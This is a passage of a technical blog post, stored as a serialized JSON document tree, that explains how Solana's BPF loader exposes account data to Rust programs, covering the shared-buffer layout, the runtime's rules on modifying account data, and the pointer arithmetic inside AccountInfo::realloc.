Rc",{"type":22,"tag":264,"props":16415,"children":16416},{"style":4309},[16417],{"type":27,"value":4785},{"type":22,"tag":264,"props":16419,"children":16420},{"style":4401},[16421],{"type":27,"value":16422},"new",{"type":22,"tag":264,"props":16424,"children":16425},{"style":1539},[16426],{"type":27,"value":16427},"(RefCell",{"type":22,"tag":264,"props":16429,"children":16430},{"style":4309},[16431],{"type":27,"value":4785},{"type":22,"tag":264,"props":16433,"children":16434},{"style":4401},[16435],{"type":27,"value":16422},{"type":22,"tag":264,"props":16437,"children":16438},{"style":1539},[16439],{"type":27,"value":16440},"({\n",{"type":22,"tag":264,"props":16442,"children":16443},{"class":1534,"line":1603},[16444,16449,16453,16457,16461,16465,16469,16473,16478,16482],{"type":22,"tag":264,"props":16445,"children":16446},{"style":4401},[16447],{"type":27,"value":16448},"    from_raw_parts_mut",{"type":22,"tag":264,"props":16450,"children":16451},{"style":1539},[16452],{"type":27,"value":2660},{"type":22,"tag":264,"props":16454,"children":16455},{"style":1549},[16456],{"type":27,"value":9661},{"type":22,"tag":264,"props":16458,"children":16459},{"style":4309},[16460],{"type":27,"value":210},{"type":22,"tag":264,"props":16462,"children":16463},{"style":4401},[16464],{"type":27,"value":10936},{"type":22,"tag":264,"props":16466,"children":16467},{"style":1539},[16468],{"type":27,"value":2660},{"type":22,"tag":264,"props":16470,"children":16471},{"style":1549},[16472],{"type":27,"value":15200},{"type":22,"tag":264,"props":16474,"children":16475},{"style":1539},[16476],{"type":27,"value":16477},"), ",{"type":22,"tag":264,"props":16479,"children":16480},{"style":1549},[16481],{"type":27,"value":15105},{"type":22,"tag":264,"props":16483,"children":16484},{"style":1539},[16485],{"type":27,"value":4463},{"type":22,"tag":264,"props":16487,"children":16488},{"class":1534,"line":1612},[16489],{"type":22,"tag":264,"props":16490,"children":16491},{"style":1539},[16492],{"type":27,"value":16493},"}));\n",{"type":22,"tag":264,"props":16495,"children":16496},{"class":1534,"line":1621},[16497,16501,16505,16509,16513],{"type":22,"tag":264,"props":16498,"children":16499},{"style":1549},[16500],{"type":27,"value":15200},{"type":22,"tag":264,"props":16502,"children":16503},{"style":4309},[16504],{"type":27,"value":16364},{"type":22,"tag":264,"props":16506,"children":16507},{"style":1549},[16508],{"type":27,"value":16284},{"type":22,"tag":264,"props":16510,"children":16511},{"style":4309},[16512],{"type":27,"value":10200},{"type":22,"tag":264,"props":16514,"children":16515},{"style":1539},[16516],{"type":27,"value":16517}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":22,"tag":264,"props":16519,"children":16520},{"class":1534,"line":1629},[16521,16525,16529,16533,16537,16541,16545,16549,16553,16557,16561,16566,16571],{"type":22,"tag":264,"props":16522,"children":16523},{"style":1549},[16524],{"type":27,"value":15200},{"type":22,"tag":264,"props":16526,"children":16527},{"style":4309},[16528],{"type":27,"value":16364},{"type":22,"tag":264,"props":16530,"children":16531},{"style":1539},[16532],{"type":27,"value":4370},{"type":22,"tag":264,"props":16534,"children":16535},{"style":1549},[16536],{"type":27,"value":15200},{"type":22,"tag":264,"props":16538,"children":16539},{"style":4293},[16540],{"type":27,"value":10123},{"type":22,"tag":264,"props":16542,"children":16543},{"style":4309},[16544],{"type":27,"value":11115},{"type":22,"tag":264,"props":16546,"children":16547},{"style":4293},[16548],{"type":27,"value":10953},{"type":22,"tag":264,"props":16550,"children":16551},{"style":4722},[16552],{"type":27,"value":15933},{"type":22,"tag":264,"props":16554,"children":16555},{"style":1539},[16556],{"type":27,"value":2806},{"type":22,"tag":264,"props":16558,"children":16559},{"style":4309},[16560],{"type":27,"value":210},{"type":22,"tag":264,"props":16562,"children":16563},{"style":4401},[16564],{"type":27,"value":16565},"align_offset",{"type":22,"tag":264,"props":16567,"children":16568},{"style":1539},[16569],{"type":27,"value":16570},"(BPF_ALIGN_OF_U128); ",{"type":22,"tag":264,"props":16572,"children":16573},{"style":4284},[16574],{"type":27,"value":16575},"// padding\n",{"type":22,"tag":23,"props":16577,"children":16578},{},[16579,16581,16586,16588,16594,16596,16607,16609,16614,16616,16622,16624,16630,16631,16637],{"type":27,"value":16580},"In English, we have the length of the data, as a ",{"type":22,"tag":257,"props":16582,"children":16584},{"className":16583},[],[16585],{"type":27,"value":9336},{"type":27,"value":16587},", followed immediately by the data, and an additional ",{"type":22,"tag":257,"props":16589,"children":16591},{"className":16590},[],[16592],{"type":27,"value":16593},"MAX_PERMITTED_DATA_INCREASE",{"type":27,"value":16595}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":22,"tag":69,"props":16597,"children":16600},{"href":16598,"rel":16599},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[73],[16601],{"type":22,"tag":257,"props":16602,"children":16604},{"className":16603},[],[16605],{"type":27,"value":16606},"slice::from_raw_parts_mut",{"type":27,"value":16608},") - slices are how Rust represents a, well, ",{"type":22,"tag":1699,"props":16610,"children":16611},{},[16612],{"type":27,"value":16613},"slice",{"type":27,"value":16615}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":22,"tag":257,"props":16617,"children":16619},{"className":16618},[],[16620],{"type":27,"value":16621},"Rc\u003CRefCell\u003CT>>",{"type":27,"value":16623},", giving us the unwieldy-looking type of ",{"type":22,"tag":257,"props":16625,"children":16627},{"className":16626},[],[16628],{"type":27,"value":16629},"AccountInfo.data",{"type":27,"value":1594},{"type":22,"tag":257,"props":16632,"children":16634},{"className":16633},[],[16635],{"type":27,"value":16636},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":27,"value":210},{"type":22,"tag":23,"props":16639,"children":16640},{},[16641,16643,16650],{"type":27,"value":16642},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":22,"tag":69,"props":16644,"children":16647},{"href":16645,"rel":16646},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[73],[16648],{"type":27,"value":16649},"cloning the referenced account",{"type":27,"value":5785},{"type":22,"tag":618,"props":16652,"children":16654},{"className":4274,"code":16653,"language":4273,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[16655],{"type":22,"tag":257,"props":16656,"children":16657},{"__ignoreMap":7},[16658,16666],{"type":22,"tag":264,"props":16659,"children":16660},{"class":1534,"line":1535},[16661],{"type":22,"tag":264,"props":16662,"children":16663},{"style":4284},[16664],{"type":27,"value":16665},"// Duplicate account, clone the original\n",{"type":22,"tag":264,"props":16667,"children":16668},{"class":1534,"line":1545},[16669,16673,16677,16681,16685,16689,16693,16698,16702,16706,16711,16715,16720],{"type":22,"tag":264,"props":16670,"children":16671},{"style":1549},[16672],{"type":27,"value":15974},{"type":22,"tag":264,"props":16674,"children":16675},{"style":4309},[16676],{"type":27,"value":210},{"type":22,"tag":264,"props":16678,"children":16679},{"style":4401},[16680],{"type":27,"value":5128},{"type":22,"tag":264,"props":16682,"children":16683},{"style":1539},[16684],{"type":27,"value":2660},{"type":22,"tag":264,"props":16686,"children":16687},{"style":1549},[16688],{"type":27,"value":15974},{"type":22,"tag":264,"props":16690,"children":16691},{"style":1539},[16692],{"type":27,"value":5045},{"type":22,"tag":264,"props":16694,"children":16695},{"style":1549},[16696],{"type":27,"value":16697},"dup_info",{"type":22,"tag":264,"props":16699,"children":16700},{"style":4293},[16701],{"type":27,"value":10123},{"type":22,"tag":264,"props":16703,"children":16704},{"style":4722},[16705],{"type":27,"value":15030},{"type":22,"tag":264,"props":16707,"children":16708},{"style":1539},[16709],{"type":27,"value":16710},"]",{"type":22,"tag":264,"props":16712,"children":16713},{"style":4309},[16714],{"type":27,"value":210},{"type":22,"tag":264,"props":16716,"children":16717},{"style":4401},[16718],{"type":27,"value":16719},"clone",{"type":22,"tag":264,"props":16721,"children":16722},{"style":1539},[16723],{"type":27,"value":16724},"());\n",{"type":22,"tag":23,"props":16726,"children":16727},{},[16728,16730,16735,16737,16742,16744,16749,16751,16756,16757,16763,16765,16770,16772,16784,16786,16791],{"type":27,"value":16729},"Since ",{"type":22,"tag":257,"props":16731,"children":16733},{"className":16732},[],[16734],{"type":27,"value":5013},{"type":27,"value":16736}," inside the ",{"type":22,"tag":257,"props":16738,"children":16740},{"className":16739},[],[16741],{"type":27,"value":16238},{"type":27,"value":16743}," is a ",{"type":22,"tag":257,"props":16745,"children":16747},{"className":16746},[],[16748],{"type":27,"value":16621},{"type":27,"value":16750},", where the ",{"type":22,"tag":257,"props":16752,"children":16754},{"className":16753},[],[16755],{"type":27,"value":7279},{"type":27,"value":16743},{"type":22,"tag":257,"props":16758,"children":16760},{"className":16759},[],[16761],{"type":27,"value":16762},"&mut [u8]",{"type":27,"value":16764}," pointing at the actual data buffer, when we clone the ",{"type":22,"tag":257,"props":16766,"children":16768},{"className":16767},[],[16769],{"type":27,"value":16238},{"type":27,"value":16771},", we get a new reference",{"type":22,"tag":16773,"props":16774,"children":16775},"sup",{},[16776],{"type":22,"tag":69,"props":16777,"children":16782},{"href":16778,"ariaDescribedBy":16779,"dataFootnoteRef":7,"id":16781},"#user-content-fn-rc-refs",[16780],"footnote-label","user-content-fnref-rc-refs",[16783],{"type":27,"value":602},{"type":27,"value":16785}," to the slice pointing at the ",{"type":22,"tag":1699,"props":16787,"children":16788},{},[16789],{"type":27,"value":16790},"same",{"type":27,"value":16792}," data buffer.",{"type":22,"tag":23,"props":16794,"children":16795},{},[16796,16798,16804,16806,16812],{"type":27,"value":16797},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":22,"tag":257,"props":16799,"children":16801},{"className":16800},[],[16802],{"type":27,"value":16803},"RefCell",{"type":27,"value":16805}," to check the rules at runtime. (The ",{"type":22,"tag":257,"props":16807,"children":16809},{"className":16808},[],[16810],{"type":27,"value":16811},"lamports",{"type":27,"value":16813}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":22,"tag":23,"props":16815,"children":16816},{},[16817,16819,16825],{"type":27,"value":16818},"Changing the data of an account is done by simply writing to ",{"type":22,"tag":257,"props":16820,"children":16822},{"className":16821},[],[16823],{"type":27,"value":16824},"AccountInfo::data",{"type":27,"value":16826},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":22,"tag":23,"props":16828,"children":16829},{},[16830,16832,16839],{"type":27,"value":16831},"This is also where the ",{"type":22,"tag":69,"props":16833,"children":16836},{"href":16834,"rel":16835},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[73],[16837],{"type":27,"value":16838},"runtime validity checks",{"type":27,"value":16840}," are imposed.",{"type":22,"tag":618,"props":16842,"children":16844},{"className":4274,"code":16843,"language":4273,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[16845],{"type":22,"tag":257,"props":16846,"children":16847},{"__ignoreMap":7},[16848,16856,16864,16872,16914,16932,16961,17006,17013,17037,17072,17097,17129,17144,17176,17183],{"type":22,"tag":264,"props":16849,"children":16850},{"class":1534,"line":1535},[16851],{"type":22,"tag":264,"props":16852,"children":16853},{"style":4284},[16854],{"type":27,"value":16855},"// Only the owner may change account data\n",{"type":22,"tag":264,"props":16857,"children":16858},{"class":1534,"line":1545},[16859],{"type":22,"tag":264,"props":16860,"children":16861},{"style":4284},[16862],{"type":27,"value":16863},"//   and if the account is writable\n",{"type":22,"tag":264,"props":16865,"children":16866},{"class":1534,"line":1560},[16867],{"type":22,"tag":264,"props":16868,"children":16869},{"style":4284},[16870],{"type":27,"value":16871},"//   and if the account is not executable\n",{"type":22,"tag":264,"props":16873,"children":16874},{"class":1534,"line":1569},[16875,16880,16884,16888,16892,16896,16901,16905,16910],{"type":22,"tag":264,"props":16876,"children":16877},{"style":4328},[16878],{"type":27,"value":16879},"if",{"type":22,"tag":264,"props":16881,"children":16882},{"style":4309},[16883],{"type":27,"value":14162},{"type":22,"tag":264,"props":16885,"children":16886},{"style":1539},[16887],{"type":27,"value":2660},{"type":22,"tag":264,"props":16889,"children":16890},{"style":1549},[16891],{"type":27,"value":15965},{"type":22,"tag":264,"props":16893,"children":16894},{"style":4309},[16895],{"type":27,"value":4585},{"type":22,"tag":264,"props":16897,"children":16898},{"style":1549},[16899],{"type":27,"value":16900}," pre",{"type":22,"tag":264,"props":16902,"children":16903},{"style":4309},[16904],{"type":27,"value":210},{"type":22,"tag":264,"props":16906,"children":16907},{"style":4401},[16908],{"type":27,"value":16909},"owner",{"type":22,"tag":264,"props":16911,"children":16912},{"style":1539},[16913],{"type":27,"value":9029},{"type":22,"tag":264,"props":16915,"children":16916},{"class":1534,"line":1583},[16917,16922,16927],{"type":22,"tag":264,"props":16918,"children":16919},{"style":4309},[16920],{"type":27,"value":16921},"    &&",{"type":22,"tag":264,"props":16923,"children":16924},{"style":1549},[16925],{"type":27,"value":16926}," is_writable",{"type":22,"tag":264,"props":16928,"children":16929},{"style":4284},[16930],{"type":27,"value":16931},"  // line coverage used to get branch coverage\n",{"type":22,"tag":264,"props":16933,"children":16934},{"class":1534,"line":1603},[16935,16939,16943,16947,16951,16956],{"type":22,"tag":264,"props":16936,"children":16937},{"style":4309},[16938],{"type":27,"value":16921},{"type":22,"tag":264,"props":16940,"children":16941},{"style":4309},[16942],{"type":27,"value":14162},{"type":22,"tag":264,"props":16944,"children":16945},{"style":1549},[16946],{"type":27,"value":618},{"type":22,"tag":264,"props":16948,"children":16949},{"style":4309},[16950],{"type":27,"value":210},{"type":22,"tag":264,"props":16952,"children":16953},{"style":4401},[16954],{"type":27,"value":16955},"executable",{"type":22,"tag":264,"props":16957,"children":16958},{"style":1539},[16959],{"type":27,"value":16960},"())\n",{"type":22,"tag":264,"props":16962,"children":16963},{"class":1534,"line":1612},[16964,16968,16972,16976,16980,16984,16989,16994,16998,17002],{"type":22,"tag":264,"props":16965,"children":16966},{"style":4309},[16967],{"type":27,"value":16921},{"type":22,"tag":264,"props":16969,"children":16970},{"style":1549},[16971],{"type":27,"value":16900},{"type":22,"tag":264,"props":16973,"children":16974},{"style":4309},[16975],{"type":27,"value":210},{"type":22,"tag":264,"props":16977,"children":16978},{"style":4401},[16979],{"type":27,"value":5013},{"type":22,"tag":264,"props":16981,"children":16982},{"style":1539},[16983],{"type":27,"value":15342},{"type":22,"tag":264,"props":16985,"children":16986},{"style":4309},[16987],{"type":27,"value":16988},"!=",{"type":22,"tag":264,"props":16990,"children":16991},{"style":1549},[16992],{"type":27,"value":16993}," post",{"type":22,"tag":264,"props":16995,"children":16996},{"style":4309},[16997],{"type":27,"value":210},{"type":22,"tag":264,"props":16999,"children":17000},{"style":4401},[17001],{"type":27,"value":5013},{"type":22,"tag":264,"props":17003,"children":17004},{"style":1539},[17005],{"type":27,"value":9029},{"type":22,"tag":264,"props":17007,"children":17008},{"class":1534,"line":1621},[17009],{"type":22,"tag":264,"props":17010,"children":17011},{"style":1539},[17012],{"type":27,"value":1542},{"type":22,"tag":264,"props":17014,"children":17015},{"class":1534,"line":1629},[17016,17020,17024,17028,17032],{"type":22,"tag":264,"props":17017,"children":17018},{"style":4328},[17019],{"type":27,"value":13578},{"type":22,"tag":264,"props":17021,"children":17022},{"style":1549},[17023],{"type":27,"value":16900},{"type":22,"tag":264,"props":17025,"children":17026},{"style":4309},[17027],{"type":27,"value":210},{"type":22,"tag":264,"props":17029,"children":17030},{"style":4401},[17031],{"type":27,"value":16955},{"type":22,"tag":264,"props":17033,"children":17034},{"style":1539},[17035],{"type":27,"value":17036},"() {\n",{"type":22,"tag":264,"props":17038,"children":17039},{"class":1534,"line":1642},[17040,17045,17050,17054,17059,17063,17068],{"type":22,"tag":264,"props":17041,"children":17042},{"style":4328},[17043],{"type":27,"value":17044},"        return",{"type":22,"tag":264,"props":17046,"children":17047},{"style":4722},[17048],{"type":27,"value":17049}," Err",{"type":22,"tag":264,"props":17051,"children":17052},{"style":1539},[17053],{"type":27,"value":2660},{"type":22,"tag":264,"props":17055,"children":17056},{"style":4722},[17057],{"type":27,"value":17058},"InstructionError",{"type":22,"tag":264,"props":17060,"children":17061},{"style":4309},[17062],{"type":27,"value":4785},{"type":22,"tag":264,"props":17064,"children":17065},{"style":4722},[17066],{"type":27,"value":17067},"ExecutableDataModified",{"type":22,"tag":264,"props":17069,"children":17070},{"style":1539},[17071],{"type":27,"value":5142},{"type":22,"tag":264,"props":17073,"children":17074},{"class":1534,"line":1660},[17075,17080,17084,17089,17093],{"type":22,"tag":264,"props":17076,"children":17077},{"style":1539},[17078],{"type":27,"value":17079},"    } ",{"type":22,"tag":264,"props":17081,"children":17082},{"style":4328},[17083],{"type":27,"value":4619},{"type":22,"tag":264,"props":17085,"children":17086},{"style":4328},[17087],{"type":27,"value":17088}," if",{"type":22,"tag":264,"props":17090,"children":17091},{"style":1549},[17092],{"type":27,"value":16926},{"type":22,"tag":264,"props":17094,"children":17095},{"style":1539},[17096],{"type":27,"value":4594},{"type":22,"tag":264,"props":17098,"children":17099},{"class":1534,"line":1668},[17100,17104,17108,17112,17116,17120,17125],{"type":22,"tag":264,"props":17101,"children":17102},{"style":4328},[17103],{"type":27,"value":17044},{"type":22,"tag":264,"props":17105,"children":17106},{"style":4722},[17107],{"type":27,"value":17049},{"type":22,"tag":264,"props":17109,"children":17110},{"style":1539},[17111],{"type":27,"value":2660},{"type":22,"tag":264,"props":17113,"children":17114},{"style":4722},[17115],{"type":27,"value":17058},{"type":22,"tag":264,"props":17117,"children":17118},{"style":4309},[17119],{"type":27,"value":4785},{"type":22,"tag":264,"props":17121,"children":17122},{"style":4722},[17123],{"type":27,"value":17124},"ExternalAccountDataModified",{"type":22,"tag":264,"props":17126,"children":17127},{"style":1539},[17128],{"type":27,"value":5142},{"type":22,"tag":264,"props":17130,"children":17131},{"class":1534,"line":1677},[17132,17136,17140],{"type":22,"tag":264,"props":17133,"children":17134},{"style":1539},[17135],{"type":27,"value":17079},{"type":22,"tag":264,"props":17137,"children":17138},{"style":4328},[17139],{"type":27,"value":4619},{"type":22,"tag":264,"props":17141,"children":17142},{"style":1539},[17143],{"type":27,"value":4594},{"type":22,"tag":264,"props":17145,"children":17146},{"class":1534,"line":1686},[17147,17151,17155,17159,17163,17167,17172],{"type":22,"tag":264,"props":17148,"children":17149},{"style":4328},[17150],{"type":27,"value":17044},{"type":22,"tag":264,"props":17152,"children":17153},{"style":4722},[17154],{"type":27,"value":17049},{"type":22,"tag":264,"props":17156,"children":17157},{"style":1539},[17158],{"type":27,"value":2660},{"type":22,"tag":264,"props":17160,"children":17161},{"style":4722},[17162],{"type":27,"value":17058},{"type":22,"tag":264,"props":17164,"children":17165},{"style":4309},[17166],{"type":27,"value":4785},{"type":22,"tag":264,"props":17168,"children":17169},{"style":4722},[17170],{"type":27,"value":17171},"ReadonlyDataModified",{"type":22,"tag":264,"props":17173,"children":17174},{"style":1539},[17175],{"type":27,"value":5142},{"type":22,"tag":264,"props":17177,"children":17178},{"class":1534,"line":4948},[17179],{"type":22,"tag":264,"props":17180,"children":17181},{"style":1539},[17182],{"type":27,"value":1674},{"type":22,"tag":264,"props":17184,"children":17185},{"class":1534,"line":4957},[17186],{"type":22,"tag":264,"props":17187,"children":17188},{"style":1539},[17189],{"type":27,"value":1692},{"type":22,"tag":181,"props":17191,"children":17193},{"id":17192},"back-to-realloc",[17194,17196],{"type":27,"value":17195},"Back to ",{"type":22,"tag":257,"props":17197,"children":17199},{"className":17198},[],[17200],{"type":27,"value":14937},{"type":22,"tag":23,"props":17202,"children":17203},{},[17204],{"type":27,"value":17205},"As a reminder, this is what we were looking at before that detour:",{"type":22,"tag":618,"props":17207,"children":17208},{"className":4274,"code":15690,"language":4273,"meta":7,"style":7},[17209],{"type":22,"tag":257,"props":17210,"children":17211},{"__ignoreMap":7},[17212,17219,17306],{"type":22,"tag":264,"props":17213,"children":17214},{"class":1534,"line":1535},[17215],{"type":22,"tag":264,"props":17216,"children":17217},{"style":4284},[17218],{"type":27,"value":15702},{"type":22,"tag":264,"props":17220,"children":17221},{"class":1534,"line":1545},[17222,17226,17230,17234,17238,17242,17246,17250,17254,17258,17262,17266,17270,17274,17278,17282,17286,17290,17294,17298,17302],{"type":22,"tag":264,"props":17223,"children":17224},{"style":4293},[17225],{"type":27,"value":13086},{"type":22,"tag":264,"props":17227,"children":17228},{"style":1549},[17229],{"type":27,"value":15156},{"type":22,"tag":264,"props":17231,"children":17232},{"style":4309},[17233],{"type":27,"value":4312},{"type":22,"tag":264,"props":17235,"children":17236},{"style":4293},[17237],{"type":27,"value":15096},{"type":22,"tag":264,"props":17239,"children":17240},{"style":4309},[17241],{"type":27,"value":210},{"type":22,"tag":264,"props":17243,"children":17244},{"style":4401},[17245],{"type":27,"value":15173},{"type":22,"tag":264,"props":17247,"children":17248},{"style":1539},[17249],{"type":27,"value":15178},{"type":22,"tag":264,"props":17251,"children":17252},{"style":4309},[17253],{"type":27,"value":4435},{"type":22,"tag":264,"props":17255,"children":17256},{"style":4401},[17257],{"type":27,"value":15187},{"type":22,"tag":264,"props":17259,"children":17260},{"style":1539},[17261],{"type":27,"value":15178},{"type":22,"tag":264,"props":17263,"children":17264},{"style":4309},[17265],{"type":27,"value":210},{"type":22,"tag":264,"props":17267,"children":17268},{"style":4401},[17269],{"type":27,"value":15200},{"type":22,"tag":264,"props":17271,"children":17272},{"style":1539},[17273],{"type":27,"value":2660},{"type":22,"tag":264,"props":17275,"children":17276},{"style":4309},[17277],{"type":27,"value":5621},{"type":22,"tag":264,"props":17279,"children":17280},{"style":4344},[17281],{"type":27,"value":5378},{"type":22,"tag":264,"props":17283,"children":17284},{"style":1539},[17285],{"type":27,"value":4390},{"type":22,"tag":264,"props":17287,"children":17288},{"style":4293},[17289],{"type":27,"value":10137},{"type":22,"tag":264,"props":17291,"children":17292},{"style":4309},[17293],{"type":27,"value":11115},{"type":22,"tag":264,"props":17295,"children":17296},{"style":4293},[17297],{"type":27,"value":5035},{"type":22,"tag":264,"props":17299,"children":17300},{"style":4722},[17301],{"type":27,"value":7151},{"type":22,"tag":264,"props":17303,"children":17304},{"style":1539},[17305],{"type":27,"value":4322},{"type":22,"tag":264,"props":17307,"children":17308},{"class":1534,"line":1560},[17309,17313,17317,17321,17325,17329,17333],{"type":22,"tag":264,"props":17310,"children":17311},{"style":4309},[17312],{"type":27,"value":5865},{"type":22,"tag":264,"props":17314,"children":17315},{"style":1549},[17316],{"type":27,"value":15248},{"type":22,"tag":264,"props":17318,"children":17319},{"style":4309},[17320],{"type":27,"value":4312},{"type":22,"tag":264,"props":17322,"children":17323},{"style":1549},[17324],{"type":27,"value":15257},{"type":22,"tag":264,"props":17326,"children":17327},{"style":4293},[17328],{"type":27,"value":10123},{"type":22,"tag":264,"props":17330,"children":17331},{"style":4722},[17332],{"type":27,"value":7151},{"type":22,"tag":264,"props":17334,"children":17335},{"style":1539},[17336],{"type":27,"value":4322},{"type":22,"tag":23,"props":17338,"children":17339},{},[17340,17345,17347,17352,17354,17359,17361,17372,17374,17379,17381,17386],{"type":22,"tag":257,"props":17341,"children":17343},{"className":17342},[],[17344],{"type":27,"value":15173},{"type":27,"value":17346}," gives us the ",{"type":22,"tag":257,"props":17348,"children":17350},{"className":17349},[],[17351],{"type":27,"value":16762},{"type":27,"value":17353}," from the ",{"type":22,"tag":257,"props":17355,"children":17357},{"className":17356},[],[17358],{"type":27,"value":16636},{"type":27,"value":17360},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":22,"tag":69,"props":17362,"children":17365},{"href":17363,"rel":17364},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[73],[17366],{"type":22,"tag":257,"props":17367,"children":17369},{"className":17368},[],[17370],{"type":27,"value":17371},"slice::as_mut_ptr()",{"type":27,"value":17373}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":22,"tag":257,"props":17375,"children":17377},{"className":17376},[],[17378],{"type":27,"value":9336},{"type":27,"value":17380}," - behind the data buffer), and then writes ",{"type":22,"tag":257,"props":17382,"children":17384},{"className":17383},[],[17385],{"type":27,"value":15021},{"type":27,"value":17387}," to it.",{"type":22,"tag":23,"props":17389,"children":17390},{},[17391,17393,17405,17407,17413],{"type":27,"value":17392},"This is reasonable... ",{"type":22,"tag":1699,"props":17394,"children":17395},{},[17396,17398,17403],{"type":27,"value":17397},"as long as the ",{"type":22,"tag":257,"props":17399,"children":17401},{"className":17400},[],[17402],{"type":27,"value":5013},{"type":27,"value":17404}," actually came from the serialized buffer",{"type":27,"value":17406},". We'll come back to this ",{"type":22,"tag":69,"props":17408,"children":17410},{"href":17409},"#Not-contracts",[17411],{"type":27,"value":17412},"later",{"type":27,"value":210},{"type":22,"tag":23,"props":17415,"children":17416},{},[17417,17419,17424],{"type":27,"value":17418},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":22,"tag":257,"props":17420,"children":17422},{"className":17421},[],[17423],{"type":27,"value":16762},{"type":27,"value":17425}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":22,"tag":618,"props":17427,"children":17429},{"className":4274,"code":17428,"language":4273,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[17430],{"type":22,"tag":257,"props":17431,"children":17432},{"__ignoreMap":7},[17433,17441,17568],{"type":22,"tag":264,"props":17434,"children":17435},{"class":1534,"line":1535},[17436],{"type":22,"tag":264,"props":17437,"children":17438},{"style":4284},[17439],{"type":27,"value":17440},"// Then set the new length in the local slice\n",{"type":22,"tag":264,"props":17442,"children":17443},{"class":1534,"line":1545},[17444,17448,17452,17456,17460,17464,17468,17472,17476,17480,17484,17488,17492,17496,17500,17504,17508,17512,17516,17520,17524,17528,17532,17536,17540,17544,17548,17552,17556,17560,17564],{"type":22,"tag":264,"props":17445,"children":17446},{"style":4293},[17447],{"type":27,"value":13086},{"type":22,"tag":264,"props":17449,"children":17450},{"style":1549},[17451],{"type":27,"value":15156},{"type":22,"tag":264,"props":17453,"children":17454},{"style":4309},[17455],{"type":27,"value":4312},{"type":22,"tag":264,"props":17457,"children":17458},{"style":4309},[17459],{"type":27,"value":8434},{"type":22,"tag":264,"props":17461,"children":17462},{"style":4293},[17463],{"type":27,"value":5035},{"type":22,"tag":264,"props":17465,"children":17466},{"style":4309},[17467],{"type":27,"value":11115},{"type":22,"tag":264,"props":17469,"children":17470},{"style":1539},[17471],{"type":27,"value":15316},{"type":22,"tag":264,"props":17473,"children":17474},{"style":4293},[17475],{"type":27,"value":15012},{"type":22,"tag":264,"props":17477,"children":17478},{"style":4309},[17479],{"type":27,"value":210},{"type":22,"tag":264,"props":17481,"children":17482},{"style":1539},[17483],{"type":27,"value":5013},{"type":22,"tag":264,"props":17485,"children":17486},{"style":4309},[17487],{"type":27,"value":210},{"type":22,"tag":264,"props":17489,"children":17490},{"style":4401},[17491],{"type":27,"value":15337},{"type":22,"tag":264,"props":17493,"children":17494},{"style":1539},[17495],{"type":27,"value":15342},{"type":22,"tag":264,"props":17497,"children":17498},{"style":4293},[17499],{"type":27,"value":10137},{"type":22,"tag":264,"props":17501,"children":17502},{"style":4309},[17503],{"type":27,"value":11115},{"type":22,"tag":264,"props":17505,"children":17506},{"style":4293},[17507],{"type":27,"value":10953},{"type":22,"tag":264,"props":17509,"children":17510},{"style":4722},[17511],{"type":27,"value":7151},{"type":22,"tag":264,"props":17513,"children":17514},{"style":1539},[17515],{"type":27,"value":2806},{"type":22,"tag":264,"props":17517,"children":17518},{"style":4309},[17519],{"type":27,"value":210},{"type":22,"tag":264,"props":17521,"children":17522},{"style":4401},[17523],{"type":27,"value":15200},{"type":22,"tag":264,"props":17525,"children":17526},{"style":1539},[17527],{"type":27,"value":2660},{"type":22,"tag":264,"props":17529,"children":17530},{"style":4344},[17531],{"type":27,"value":602},{"type":22,"tag":264,"props":17533,"children":17534},{"style":1539},[17535],{"type":27,"value":4390},{"type":22,"tag":264,"props":17537,"children":17538},{"style":4293},[17539],{"type":27,"value":10137},{"type":22,"tag":264,"props":17541,"children":17542},{"style":4722},[17543],{"type":27,"value":7151},{"type":22,"tag":264,"props":17545,"children":17546},{"style":1539},[17547],{"type":27,"value":4390},{"type":22,"tag":264,"props":17549,"children":17550},{"style":4293},[17551],{"type":27,"value":10137},{"type":22,"tag":264,"props":17553,"children":17554},{"style":4309},[17555],{"type":27,"value":11115},{"type":22,"tag":264,"props":17557,"children":17558},{"style":4293},[17559],{"type":27,"value":5035},{"type":22,"tag":264,"props":17561,"children":17562},{"style":4722},[17563],{"type":27,"value":7151},{"type":22,"tag":264,"props":17565,"children":17566},{"style":1539},[17567],{"type":27,"value":5142},{"type":22,"tag":264,"props":17569,"children":17570},{"class":1534,"line":1560},[17571,17575,17579,17583,17587,17591,17595],{"type":22,"tag":264,"props":17572,"children":17573},{"style":4309},[17574],{"type":27,"value":5865},{"type":22,"tag":264,"props":17576,"children":17577},{"style":1549},[17578],{"type":27,"value":15248},{"type":22,"tag":264,"props":17580,"children":17581},{"style":4309},[17582],{"type":27,"value":4312},{"type